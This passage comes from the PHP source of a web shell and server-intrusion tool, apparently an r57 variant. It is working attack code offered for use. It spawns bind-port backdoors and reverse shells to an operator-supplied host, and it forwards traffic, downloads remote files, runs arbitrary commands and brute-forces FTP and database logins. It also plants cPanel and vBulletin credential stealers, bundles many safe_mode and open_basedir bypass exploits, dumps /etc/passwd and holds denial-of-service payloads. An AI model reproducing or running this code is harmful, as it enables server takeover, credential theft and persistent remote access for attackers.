4344 echo "<input type=hidden name=cmd value=save_file>";
4345 echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">"));
4346 echo "</div>";
4347 echo "</font>";
4348 echo "</form>";
4349 echo "</td></tr></table>";
4350 exit();
4351 }
4352 }
4353if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file")
4354 {
4355 $mtime = @filemtime($_POST['e_name']);
4356 if(!@is_writable($_POST['e_name'])) { err(0,$_POST['e_name']); }
4357 else {
4358 if($unix) $_POST['e_text']=@str_replace("\r\n","\n",$_POST['e_text']);
4359 morewrite($_POST['e_name'],$_POST['e_text']);
4360 $_POST['cmd']="";
4361 echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>";
4362 }
4363 @touch($_POST['e_name'],$mtime,$mtime);
4364 }
4365
4366
4367if (!empty($_POST['proxy_port'])&&($_POST['use']=="Perl"))
4368{
4369 cf($tempdir.'prxpl',$prx_pl);
4370 $p2=which("perl");
4371 $blah = ex($p2.' '.$tempdir.'prxpl '.$_POST['proxy_port'].' &');
4372 @unlink($tempdir.'prxpl');
4373 $_POST['cmd']="ps -aux | grep prxpl";
4374}
4375if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C"))
4376{
4377 cf($tempdir.'bd.c',$port_bind_bd_c);
4378 $blah = ex('gcc -o '.$tempdir.'bd '.$tempdir.'bd.c');
4379 @unlink($tempdir.'bd.c');
4380 $blah = ex($tempdir.'bd '.$_POST['port'].' '.$_POST['bind_pass'].' &');
4381 @unlink($tempdir.'bd');
4382 $_POST['cmd']="ps -aux | grep bd";
4383}
4384if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl"))
4385{
4386 cf($tempdir.'bdpl',$port_bind_bd_pl);
4387 $p2=which("perl");
4388 $blah = ex($p2.' '.$tempdir.'bdpl '.$_POST['port'].' &');
4389 @unlink($tempdir.'bdpl');
4390 $_POST['cmd']="ps -aux | grep bdpl";
4391}
4392if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl"))
4393{
4394 cf($tempdir.'back',$back_connect);
4395 $p2=which("perl");
4396 $blah = ex($p2.' '.$tempdir.'back '.$_POST['ip'].' '.$_POST['port'].' &');
4397 @unlink($tempdir.'back');
4398 $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
4399}
4400if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C"))
4401{
4402 cf($tempdir.'back.c',$back_connect_c);
4403 $blah = ex('gcc -o '.$tempdir.'backc '.$tempdir.'back.c');
4404 @unlink($tempdir.'back.c');
4405 $blah = ex($tempdir.'backc '.$_POST['ip'].' '.$_POST['port'].' &');
4406 @unlink($tempdir.'back');
4407 $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
4408}
4409if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl"))
4410{
4411 cf($tempdir.'dp',$datapipe_pl);
4412 $p2=which("perl");
4413 $blah = ex($p2.' '.$tempdir.'dp '.$_POST['local_port'].' '.$_POST['remote_host'].' '.$_POST['remote_port'].' &');
4414 @unlink($tempdir.'dp');
4415 $_POST['cmd']="ps -aux | grep dp";
4416}
4417if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C"))
4418{
4419 cf($tempdir.'dpc.c',$datapipe_c);
4420 $blah = ex('gcc -o '.$tempdir.'dpc '.$tempdir.'dpc.c');
4421 @unlink($tempdir.'dpc.c');
4422 $blah = ex($tempdir.'dpc '.$_POST['local_port'].' '.$_POST['remote_port'].' '.$_POST['remote_host'].' &');
4423 @unlink($tempdir.'dpc');
4424 $_POST['cmd']="ps -aux | grep dpc";
4425}
4426
4427if (!empty($_POST['alias']) && isset($aliases[$_POST['alias']])) { $_POST['cmd'] = $aliases[$_POST['alias']]; }
4428
4429for($upl=0;$upl<=16;$upl++)
4430{
4431 if(!empty($HTTP_POST_FILES['userfile'.$upl]['name'])){
4432 if(!empty($_POST['new_name']) && ($upl==0)) { $nfn = $_POST['new_name']; }
4433 else { $nfn = $HTTP_POST_FILES['userfile'.$upl]['name']; }
4434 @move_uploaded_file($HTTP_POST_FILES['userfile'.$upl]['tmp_name'],$_POST['dir']."/".$nfn)
4435 or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile'.$upl]['name']."</div></font>");
4436 }
4437}
4438if (!empty($_POST['port1']))
4439{
4440 cf("bds",$port_bind_bd_cs);
4441 $blah = ex("chmod 777 bds");
4442 $blah = ex("./bds ".$_POST['port1']." &");
4443 $_POST['cmd']="echo \"Now script install backdoor connect to port ";
4444 }else{
4445cf("/tmp/bds",$port_bind_bd_cs);
4446 $blah = ex("chmod 777 bds");
4447 }
4448if (!empty($_POST['php_ini1']))
4449{
4450 cf("php.ini",$egy_ini);
4451 $_POST['cmd']=" now make incloude for file ini.php and add ss and your shell";
4452 }
4453
4454 if (!empty($_POST['htacces']))
4455{
4456 cf(".htaccess",$htacces);
4457 $_POST['cmd']="now .htaccess has been add";
4458 }
4459 if (!empty($_POST['egy_res']))
4460{
4461 cf(".ini.php",$egy_res);
4462 $_POST['cmd']="now .htaccess has been add";
4463 }
4464 if (!empty($_POST['egy_ini']))
4465{
4466 cf("ini.php",$egy_ini);
4467
4468
4469 $_POST['cmd']=" http://target.com/ini.php?egy=http://shell.txt? add ss ini.php now make incloude for file ini.php and add egy and your shell";
4470 }
4471
4472 if (!empty($_POST['egy_cp']))
4473{
4474 cf("pass_cpanel.php",$egy_cp);
4475 $_POST['cmd']="cpanel add";
4476 }
4477
4478 if (!empty($_POST['egy_vb']))
4479{
4480 cf("vb_hacker.php",$egy_vb);
4481 $_POST['cmd']="Added Following Files .htaccess & ini.php & vb_hacker.php & pass_cpanel.php ";
4482 }
4483
4484if (!empty($_POST['alias']) && isset($aliases[$_POST['alias']])) { $_POST['cmd'] = $aliases[$_POST['alias']]; }
4485
4486for($upl=0;$upl<=16;$upl++)
4487{
4488
4489}
4490
4491if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file']))
4492{
4493 switch($_POST['with'])
4494 {
4495 case 'fopen':
4496 $datafile = @implode("", @file($_POST['rem_file']));
4497 if($datafile)
4498 {
4499 if(!morewrite($_POST['loc_file'],$datafile)){ err(0);};
4500 }
4501
4502 $_POST['cmd'] = '';
4503 break;
4504 case 'wget':
4505 $_POST['cmd'] = which('wget')." \"".$_POST['rem_file']."\" -O \"".$_POST['loc_file']."\"";
4506 break;
4507 case 'fetch':
4508 $_POST['cmd'] = which('fetch')." -p \"".$_POST['rem_file']."\" -o \"".$_POST['loc_file']."\"";
4509 break;
4510 case 'lynx':
4511 $_POST['cmd'] = which('lynx')." -source \"".$_POST['rem_file']."\" > \"".$_POST['loc_file']."\"";
4512 break;
4513 case 'links':
4514 $_POST['cmd'] = which('links')." -source \"".$_POST['rem_file']."\" > \"".$_POST['loc_file']."\"";
4515 break;
4516 case 'GET':
4517 $_POST['cmd'] = which('GET')." \"".$_POST['rem_file']."\" > \"".$_POST['loc_file']."\"";
4518 break;
4519 case 'curl':
4520 $_POST['cmd'] = which('curl')." \"".$_POST['rem_file']."\" -o \"".$_POST['loc_file']."\"";
4521 break;
4522 }
4523}
4524if(!empty($_POST['cmd']) && (($_POST['cmd']=="ftp_file_up") || ($_POST['cmd']=="ftp_file_down")))
4525 {
4526 list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
4527 if(empty($ftp_port)) { $ftp_port = 21; }
4528 $connection = @ftp_connect ($ftp_server,$ftp_port,10);
4529 if(!$connection) { err(3); }
4530 else
4531 {
4532 if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { err(4); }
4533 else
4534 {
4535 if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.((!$unix)?('\\'):('/')).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']);}
4536 if($_POST['cmd']=="ftp_file_up") { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']);}
4537 }
4538 }
4539 @ftp_close($connection);
4540 $_POST['cmd'] = "";
4541 }
4542
4543if(!empty($_POST['cmd']) && (($_POST['cmd']=="ftp_brute") || ($_POST['cmd']=="db_brute")))
4544 {
4545 if($_POST['cmd']=="ftp_brute"){
4546 list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
4547 if(empty($ftp_port)) { $ftp_port = 21; }
4548 $connection = @ftp_connect ($ftp_server,$ftp_port,10);
4549 }else if($_POST['cmd']=="db_brute"){
4550 $connection = 1;
4551 }
4552 if(!$connection) { err(3); $_POST['cmd'] = ""; }
4553 else if(($_POST['brute_method']=='passwd') && (!$users=get_users('/etc/passwd'))){ echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><font color=red face=Verdana size=-2><div align=center><b>".$lang[$language.'_text96']."</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; }
4554 else if(($_POST['brute_method']=='dic') && (!$users=get_users($_POST['dictionary']))){ echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><font color=red face=Verdana size=-2><div align=center><b>Can\'t get password list</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; }
4555 if($_POST['cmd']=="ftp_brute"){@ftp_close($connection);}
4556 }
4557
4558echo $table_up3;
4559if (empty($_POST['cmd']) && !$safe_mode) { $_POST['cmd']=(!$unix)?("dir"):("ls -lia"); }
4560else if(empty($_POST['cmd']) && $safe_mode){ $_POST['cmd']="safe_dir"; }
4561echo $font.$lang[$language.'_text1'].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td><b><div align=center><textarea name=report cols=121 rows=15>";
4562{
4563 switch($_POST['cmd'])
4564 {
4565 case 'safe_dir':
4566
4567 if (@function_exists('scandir') && ($d=@scandir($dir)) && !isset($_POST['glob']) && !isset($_POST['realpath']))
4568 {
4569 foreach ($d as $file)
4570 {
4571 if ($file=="." || $file=="..") continue;
4572 @clearstatcache();
4573 @list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
4574 if(!$unix){
4575 echo date("d.m.Y H:i",$mtime);
4576 if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size);
4577 }
4578 else{
4579 if(@function_exists('posix_getpwuid') && @function_exists('posix_getgrgid')){
4580 $owner = @posix_getpwuid($uid);
4581 $grgid = @posix_getgrgid($gid);
4582 }else{$owner['name']=$grgid['name']='';}
4583 echo $inode." ";
4584 echo perms(@fileperms($file));
4585 @printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
4586 echo @date("d.m.Y H:i ",$mtime);
4587 }
4588 echo "$file\n";
4589 }
4590 }
4591
4592 elseif (@function_exists('dir') && ($d=@dir($dir)) && !isset($_POST['glob']) && !isset($_POST['realpath']))
4593 {
4594 while (false!==($file=$d->read()))
4595 {
4596 if ($file=="." || $file=="..") continue;
4597 @clearstatcache();
4598 @list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
4599 if(!$unix){
4600 echo date("d.m.Y H:i",$mtime);
4601 if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size);
4602 }
4603 else{
4604 if(@function_exists('posix_getpwuid') && @function_exists('posix_getgrgid')){
4605 $owner = @posix_getpwuid($uid);
4606 $grgid = @posix_getgrgid($gid);
4607 }else{$owner['name']=$grgid['name']='';}
4608 echo $inode." ";
4609 echo perms(@fileperms($file));
4610 @printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
4611 echo @date("d.m.Y H:i ",$mtime);
4612 }
4613 echo "$file\n";
4614 }
4615 $d->close();
4616 }
4617
4618 elseif (@function_exists('opendir') && @function_exists('readdir') && ($d=@opendir($dir)) && !isset($_POST['glob']) && !isset($_POST['realpath']))
4619 {
4620 while (false!==($file=@readdir($d)))
4621 {
4622 if ($file=="." || $file=="..") continue;
4623 @clearstatcache();
4624 @list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
4625 if(!$unix){
4626 echo date("d.m.Y H:i",$mtime);
4627 if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size);
4628 }
4629 else{
4630 if(@function_exists('posix_getpwuid') && @function_exists('posix_getgrgid')){
4631 $owner = @posix_getpwuid($uid);
4632 $grgid = @posix_getgrgid($gid);
4633 }else{$owner['name']=$grgid['name']='';}
4634 echo $inode." ";
4635 echo perms(@fileperms($file));
4636 @printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
4637 echo @date("d.m.Y H:i ",$mtime);
4638 }
4639 echo "$file\n";
4640 }
4641 @closedir($d);
4642 }
4643
4644 elseif(@function_exists('glob') && (isset($_POST['glob']) || !isset($_POST['realpath'])))
4645 {
4646 echo "PHP glob() listing directory Safe_mode bypass Exploit\r\n\r\n";
4647 function eh($errno, $errstr, $errfile, $errline)
4648 {
4649 global $D, $c, $i;
4650 preg_match("/SAFE\ MODE\ Restriction\ in\ effect\..*whose\ uid\ is(.*)is\ not\ allowed\ to\ access(.*)owned by uid(.*)/", $errstr, $o);
4651 if($o){ $D[$c] = $o[2]; $c++;}
4652 }
4653 $error_reporting = @ini_get('error_reporting');
4654 error_reporting(E_WARNING);
4655 @ini_set("display_errors", 1);
4656 @ini_alter("display_errors", 1);
4657 $root = "/";
4658 if($dir) $root = $dir;
4659 $c = 0; $D = array();
4660 @set_error_handler("eh");
4661 $chars = "_-.0123456789abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
4662 for($i=0; $i < strlen($chars); $i++)
4663 {
4664 $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}";
4665 $prevD = $D[count($D)-1];
4666 @glob($path."*");
4667 if($D[count($D)-1] != $prevD)
4668 {
4669 for($j=0; $j < strlen($chars); $j++)
4670 {
4671 $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}";
4672 $prevD2 = $D[count($D)-1];
4673 @glob($path."*");
4674 if($D[count($D)-1] != $prevD2)
4675 {
4676 for($p=0; $p < strlen($chars); $p++)
4677 {
4678 $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}";
4679 $prevD3 = $D[count($D)-1];
4680 @glob($path."*");
4681 if($D[count($D)-1] != $prevD3)
4682 {
4683 for($r=0; $r < strlen($chars); $r++)
4684 {
4685 $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}{$chars[$r]}";
4686 @glob($path."*");
4687 }
4688 }
4689 }
4690 }
4691 }
4692 }
4693 }
4694 $D = array_unique($D);
4695 foreach($D as $item) echo "{$item}\r\n";
4696 echo "\r\n Generation time: ".round(@getmicrotime()-starttime,4)." sec\r\n";
4697 error_reporting($error_reporting);
4698 }
4699 elseif(@function_exists('realpath') && (!isset($_POST['glob']) || isset($_POST['realpath'])))
4700 {
4701 echo "PHP realpath() listing directory Safe_mode bypass Exploit\r\n\r\n";
4702 if(!$dir){$dir='/etc/';};
4703 if(!empty($_POST['end_rlph'])){$end_rlph=$_POST['end_rlph'];}else{$end_rlph='';}
4704 if(!empty($_POST['n_rlph'])){$n_rlph=$_POST['n_rlph'];}else{$n_rlph='3';}
4705
4706 if($realpath=realpath($dir.'/')){echo $realpath."\r\n";}
4707 if($end_rlph!='' && $realpath=realpath($dir.'/'.$end_rlph)){echo $realpath."\r\n";}
4708 foreach($presets_rlph as $preset_rlph){
4709 if($realpath=realpath($dir.'/'.$preset_rlph.$end_rlph)){echo $realpath."\r\n";}
4710 }
4711 for($i=0; $i < strlen($chars_rlph); $i++){
4712 if($realpath=realpath($dir."/{$chars_rlph[$i]}".$end_rlph)){echo $realpath."\r\n";}
4713 if($n_rlph<=1){continue;};
4714 for($j=0; $j < strlen($chars_rlph); $j++){
4715 if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}".$end_rlph)){echo $realpath."\r\n";}
4716 if($n_rlph<=2){continue;};
4717 for($x=0; $x < strlen($chars_rlph); $x++){
4718 if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}".$end_rlph)){echo $realpath."\r\n";}
4719 if($n_rlph<=3){continue;};
4720 for($y=0; $y < strlen($chars_rlph); $y++){
4721 if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}".$end_rlph)){echo $realpath."\r\n";}
4722 if($n_rlph<=4){continue;};
4723 for($z=0; $z < strlen($chars_rlph); $z++){
4724 if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}{$chars_rlph[$z]}".$end_rlph)){echo $realpath."\r\n";}
4725 if($n_rlph<=5){continue;};
4726 for($w=0; $w < strlen($chars_rlph); $w++){
4727 if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}{$chars_rlph[$z]}{$chars_rlph[$w]}".$end_rlph)){echo $realpath."\r\n";}
4728 }
4729 }
4730 }
4731 }
4732 }
4733 }
4734 echo "\r\n Generation time: ".round(@getmicrotime()-starttime,4)." sec\r\n";
4735 }
4736 else echo $lang[$language.'_text29'];
4737 break;
4738
4739 case 'test1':
4740 $ci = @curl_init("file://".$_POST['test1_file']);
4741 $cf = @curl_exec($ci);
4742 echo htmlspecialchars($cf);
4743 break;
4744 case 'test2':
4745 @include($_POST['test2_file']);
4746 break;
4747 case 'test3':
4748 if(empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; }
4749 $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']);
4750 if($db)
4751 {
4752 if(@mysql_select_db($_POST['test3_md'],$db))
4753 {
4754 @mysql_query("DROP TABLE IF EXISTS temp_r57_table");
4755 @mysql_query("CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL )");
4756/* @mysql_query("LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table");*/
4757 @mysql_query("LOAD DATA LOCAL INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table");
4758 $r = @mysql_query("SELECT * FROM temp_r57_table");
4759 while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0])."\r\n"; }
4760 @mysql_query("DROP TABLE IF EXISTS temp_r57_table");
4761 }
4762 else echo "[-] ERROR! Can't select database";
4763 @mysql_close($db);
4764 }
4765 else echo "[-] ERROR! Can't connect to mysql server";
4766 break;
4767 case 'test4':
4768 if(empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; }
4769 $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']);
4770 if($db)
4771 {
4772 if(@mssql_select_db($_POST['test4_md'],$db))
4773 {
4774 @mssql_query("drop table r57_temp_table",$db);
4775 @mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db);
4776 @mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db);
4777 $res = mssql_query("select * from r57_temp_table",$db);
4778 while(($row=@mssql_fetch_row($res)))
4779 {
4780 echo htmlspecialchars($row[0])."\r\n";
4781 }
4782 @mssql_query("drop table r57_temp_table",$db);
4783 }
4784 else echo "[-] ERROR! Can't select database";
4785 @mssql_close($db);
4786 }
4787 else echo "[-] ERROR! Can't connect to MSSQL server";
4788 break;
4789 case 'test5':
4790 $temp=tempnam($dir, "fname");
4791 if (@file_exists($temp)) @unlink($temp);
4792 $extra = "-C ".$_POST['test5_file']." -X $temp";
4793 @mb_send_mail(NULL, NULL, NULL, NULL, $extra);
4794 $str = moreread($temp);
4795 echo htmlspecialchars($str);
4796 @unlink($temp);
4797 break;
4798 case 'test6':
4799 $stream = @imap_open('/etc/passwd', "", "");
4800 $dir_list = @imap_list($stream, trim($_POST['test6_file']), "*");
4801 for ($i = 0; $i < count($dir_list); $i++) echo htmlspecialchars($dir_list[$i])."\r\n";
4802 @imap_close($stream);
4803 break;
4804 case 'test7':
4805 $stream = @imap_open($_POST['test7_file'], "", "");
4806 $str = @imap_body($stream, 1);
4807 echo htmlspecialchars($str);
4808 @imap_close($stream);
4809 break;
4810 case 'test8':
4811 $temp=@tempnam($_POST['test8_file2'], "copytemp");
4812 $str = readzlib($_POST['test8_file1'],$temp);
4813 echo htmlspecialchars($str);
4814 @unlink($temp);
4815 break;
4816
4817 case 'test9':
4818 @ini_restore("safe_mode");
4819 @ini_restore("open_basedir");
4820 $str = moreread($_POST['test9_file']);
4821 echo htmlspecialchars($str);
4822 break;
4823 case 'test10':
4824 @ob_clean();
4825 $error_reporting = @ini_get('error_reporting');
4826 error_reporting(E_ALL ^ E_NOTICE);
4827 @ini_set("display_errors", 1);
4828 @ini_alter("display_errors", 1);
4829 $str=@fopen($_POST['test10_file'],"r");
4830 while(!feof($str)){print htmlspecialchars(fgets($str));}
4831 fclose($str);
4832 error_reporting($error_reporting);
4833 break;
4834 case 'test11':
4835 @ob_clean();
4836 $temp = 'zip://'.$_POST['test11_file'];
4837 $str = moreread($temp);
4838 echo htmlspecialchars($str);
4839 break;
4840 case 'test12':
4841 @ob_clean();
4842 $temp = 'compress.bzip2://'.$_POST['test12_file'];
4843 $str = moreread($temp);
4844 echo htmlspecialchars($str);
4845 break;
4846 case 'test13':
4847 @error_log($_POST['test13_file1'], 3, "php://../../../../../../../../../../../".$_POST['test13_file2']);
4848 echo $lang[$language.'_text61'];
4849 break;
4850 case 'test14':
4851 @session_save_path($_POST['test14_file2']."\0;$tempdir");
4852 @session_start();
4853 @$_SESSION[php]=$_POST['test14_file1'];
4854 echo $lang[$language.'_text61'];
4855 break;
4856 case 'test15':
4857 @readfile($_POST['test15_file1'], 3, "php://../../../../../../../../../../../".$_POST['test15_file2']);
4858 echo $lang[$language.'_text61'];
4859
4860 break;
4861 case 'test_5_2_6':
4862echo getcwd()."\n";
4863chdir($_POST['test_5_2_6']);
4864echo getcwd()."\n";
4865 break;
4866
4867
4868 case 'test2_5_2_6':
4869var_dump(posix_access($_POST['test15_file1']));
4870
4871 break;
4872
4873 case 'test_5_2_4':
4874//PHP 5.2.4 ionCube extension safe_mode and disable_functions protections bypass
4875
4876//author: shinnai
4877//mail: shinnai[at]autistici[dot]org
4878//site: http://shinnai.altervista.org
4879
4880//Tested on xp Pro sp2 full patched, worked both from the cli and on apache
4881
4882//Technical details:
4883//ionCube version: 6.5
4884//extension: ioncube_loader_win_5.2.dll (other may also be vulnerable)
4885//url: www.egyspider.eu
4886
4887//php.ini settings:
4888//safe_mode = On
4889//disable_functions = ioncube_read_file, readfile
4890
4891//Description:
4892//This is useful to obtain juicy informations but also to retrieve source
4893//code of php pages, password files, etc... you just need to change file path.
4894//Anyway, don't worry, nobody will read your obfuscated code :)
4895
4896//greetz to: BlackLight for help me to understand better PHP
4897
4898//P.S.
4899//This extension contains even an interesting ioncube_write_file function...
4900
4901if (!extension_loaded("ionCube Loader")) die("ionCube Loader extension required! You are now can establish any order");
4902
4903$path = str_repeat("..\\", 20);
4904
4905$MyBoot_readfile = readfile($path."windows\\system.ini"); #just to be sure that I set correctely disable_function :)
4906
4907$MyBoot_ioncube = ioncube_read_file($path."boot.ini");
4908
4909echo $MyBoot_readfile;
4910
4911echo "<br><br>ionCube output:<br><br>";
4912
4913echo $MyBoot_ioncube;
4914 break;
4915
4916
4917
4918 case 'egy_perl':
4919if(!extension_loaded('perl'))die('perl extension is not loaded');
4920if(!isset($_GET))$_GET=&$HTTP_GET_VARS;
4921if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls';
4922$perl=new perl();
4923echo "<textarea rows='25' cols='75'>";
4924$perl->eval("system('".$_GET['cmd']."')");
4925echo "</textarea>";
4926$_GET['cmd']=htmlspecialchars($_GET['cmd']);
4927 break;
4928
4929 break;
4930 case 'egy_4_2_0':
4931 for ($i = 0; $i < 60000; $i++)
4932 {
4933 if (($tab = @posix_getpwuid($i)) != NULL)
4934 {
4935 echo $tab['name'].":";
4936 echo $tab['passwd'].":";
4937 echo $tab['uid'].":";
4938 echo $tab['gid'].":";
4939 echo $tab['gecos'].":";
4940 echo $tab['dir'].":";
4941 echo $tab['shell']."<br>";
4942 }
4943 }
4944 break;
4945
4946
4947 case 'egy_5_2_3':
4948//PHP 5.2.3 win32std extension safe_mode and disable_functions protections bypass
4949
4950//author: egy spider
4951//mail: egy_spider@hotmail.com
4952//site: http://egyspider.eu
4953
4954//Tested on xp Pro sp2 full patched, worked both from the cli and on apache
4955
4956//Thanks to rgod for all his precious advises :)
4957
4958//I set php.ini in this way:
4959//safe_mode = On
4960//disable_functions = system
4961//if you launch the exploit from the cli, cmd.exe will be wxecuted
4962//if you browse it through apache, you'll see a new cmd.exe process activated in taskmanager
4963
4964if (!extension_loaded("win32std")) die("win32std extension required!");
4965system("cmd.exe"); //just to be sure that protections work well
4966win_shell_execute("..\\..\\..\\..\\windows\\system32\\cmd.exe");
4967 break;
4968
4969 break;
4970
4971
4972 case 'test16':
4973 if (@fopen('srpath://../../../../../../../../../../../'.$_POST['test16_file'],"a")) echo $lang[$language.'_text61'];
4974 break;
4975 case 'test17_1':
4976 @unlink('symlinkread');
4977 @symlink('a/a/a/a/a/a/', 'dummy');
4978 @symlink('dummy/../../../../../../../../../../../'.$_POST['test17_file'], 'symlinkread');
4979 @unlink('dummy');
4980 while (1)
4981 {
4982 @symlink('.', 'dummy');
4983 @unlink('dummy');
4984 }
4985 break;
4986 case 'test17_2':
4987 $str='';
4988 while (strlen($str) < 3) {
4989/* $str = moreread('symlinkread');*/
4990 $str = @file_get_contents('symlinkread');
4991 if($str){ @ob_clean(); echo htmlspecialchars($str);}
4992 }
4993 break;
4994 case 'test17_3':
4995 $dir = $files = array();
4996 if(@version_compare(@phpversion(),"5.0.0")>=0){
4997 while (@count($dir) < 3) {
4998 $dir=@scandir('symlinkread');
4999 if (@count($dir) > 2) {@ob_clean(); @print_r($dir); }
5000 }
5001 }
5002 else {
5003 while (@count($files) < 3) {
5004 $dh = @opendir('symlinkread');
5005 while (false !== ($filename = @readdir($dh))) {
5006 $files[] = $filename;
5007 }
5008 if(@count($files) > 2){@ob_clean(); @print_r($files); }
5009 }
5010 }
5011 break;
5012 case 'test18':
5013 @putenv("TMPDIR=".$_POST['test18_file2']);
5014 @ini_set("session.save_path", "");
5015 @ini_alter("session.save_path", "");
5016 @session_start();
5017 @$_SESSION[php]=$_POST['test18_file1'];
5018 echo $lang[$language.'_text61'];
5019 break;
5020 case 'test19':
5021 if(empty($_POST['test19_port'])) { $_POST['test19_port'] = "3306"; }
5022 $m = new mysqli('localhost',$_POST['test19_ml'],$_POST['test19_mp'],$_POST['test19_md'],$_POST['test19_port']);
5023 if(@mysqli_connect_errno()){ echo "[-] ERROR! Can't connect to mysqli server: ".mysqli_connect_error() ;};
5024 $m->options(MYSQLI_OPT_LOCAL_INFILE, 1);
5025 $m->set_local_infile_handler("r");
5026 $m->query("DROP TABLE IF EXISTS temp_r57_table");
5027 $m->query("CREATE TABLE temp_r57_table ( 'file' LONGBLOB NOT NULL )");
5028 $m->query("LOAD DATA LOCAL INFILE \"".$_POST['test19_file']."\" INTO TABLE temp_r57_table");
5029 $r = $m->query("SELECT * FROM temp_r57_table");
5030 while(($r_sql = @mysqli_fetch_array($r))) { echo @htmlspecialchars($r_sql[0])."\r\n"; }
5031 $m->query("DROP TABLE IF EXISTS temp_r57_table");
5032 $m->close();
5033 break;
5034 }
5035}
5036
5037if((!$safe_mode) && ($_POST['cmd']!="php_eval") && ($_POST['cmd']!="mysql_dump") && ($_POST['cmd']!="db_query") && ($_POST['cmd']!="ftp_brute") && ($_POST['cmd']!="db_brute")){
5038 $cmd_rep = ex($_POST['cmd']);
5039 if(!$unix) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; }
5040 else { echo @htmlspecialchars($cmd_rep)."\n"; }
5041}/*elseif($safe_mode){
5042 $cmd_rep = safe_ex($_POST['cmd']);
5043 if(!$unix) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; }
5044 else { echo @htmlspecialchars($cmd_rep)."\n"; }
5045}
5046*/
5047
5048switch($_POST['cmd'])
5049{
5050 case 'dos1':
5051 function a() { a(); } a();
5052 break;
5053 case 'dos2':
5054 @pack("d4294967297", 2);
5055 break;
5056 case 'dos3':
5057 $a = "a";@unserialize(@str_replace('1', 2147483647, @serialize($a)));
5058 break;
5059 case 'dos4':
5060 $t = array(1);while (1) {$a[] = &$t;};
5061 break;
5062 case 'dos5':
5063 @dl("sqlite.so");$db = new SqliteDatabase("foo");
5064 break;
5065 case 'dos6':
5066 preg_match('/(.(?!b))*/', @str_repeat("a", 10000));
5067 break;
5068 case 'dos7':
